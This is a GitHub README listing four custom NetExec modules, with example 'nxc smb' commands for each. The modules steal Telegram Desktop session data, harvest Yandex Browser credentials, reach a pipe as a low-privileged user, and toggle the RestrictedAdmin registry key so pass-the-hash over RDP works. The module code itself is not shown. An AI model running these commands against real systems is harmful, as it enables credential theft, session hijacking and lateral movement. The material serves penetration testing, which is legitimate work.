Skip to content

sh94ya/NXC-Modules

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

19 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Supported Python versions

NetExec NetExec Modules

Custom modules for NetExec from various authors

Installation

If you have nxc installed via pipx, then put the modules on the path
~/.local/pipx/venvs/netexec/lib/python3.13/site-packages/nxc/modules/

List of modules

  1. psexec_noinstall.py
    Description: Using psexec_noinstall, it is possible to connect to this pipeline as any low-privileged user, since the DACL of the pipeline allows this.
    Example:
    nxc smb 10.0.0.5 -u 'user' -p 'password' -M psexec_noinstall
    References:
    https://github.com/MzHmO/psexec_noinstall
    https://github.com/beaverdreamer/nxc-modules
  2. telegram.py
    Description: Stealing Telegram Desktop tdata to hijack a user's session.
    Example:
    nxc smb 10.0.0.0/8 -u 'user' -p 'password' -M telegram
    Search tdata from DIR
    nxc smb 10.0.0.0/8 -u 'user' -p 'password' -M telegram -o SEARCH_DIR=c:\users\public
    Reference: https://github.com/CICADA8-Research/Penetration/tree/main/nxc%20modules
  3. yandex.py
    Description: Stealing creds from Yandex Browser.
    Example:
    nxc smb 10.0.0.5 -u 'user' -p 'password' -M yandex
    References:
    https://github.com/Moghees244
    https://github.com/voixe852/nxc_module_yandex
  4. restrictedadmin.py
    Description: This module is designed to perform three main actions on a registry key: "DisableRestrictedAdmin". This key manages Windows "Restricted Admin" protection. If this protection is enabled, it is possible to perform Pass-The-Hash (PTH) on the RDP protocol, particularly with xfreerdp, as Windows uses the NTLM hash for authentication.
    Example:
    #See the value of the registry key and deduce if PTH is is possible or not 
    nxc smb 10.0.0.5 -u 'user' -p 'password' -M restrictedadmin
    With ACTION
    #Set value to 0, that will enable the security option "RestricedAdmin" and allow PTH on RDP 
    nxc smb 10.0.0.5 -u 'user' -p 'password' -M restrictedadmin -o ACTION=enable
    
    #Set value to 1, PTH will be no longer possible 
    nxc smb 10.0.0.5 -u 'user' -p 'password' -M restrictedadmin -o ACTION=disable
    Reference: https://github.com/Anh4ckin3/nxc-module-personal-repo

About

Custom modules for NetExec from various authors.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Languages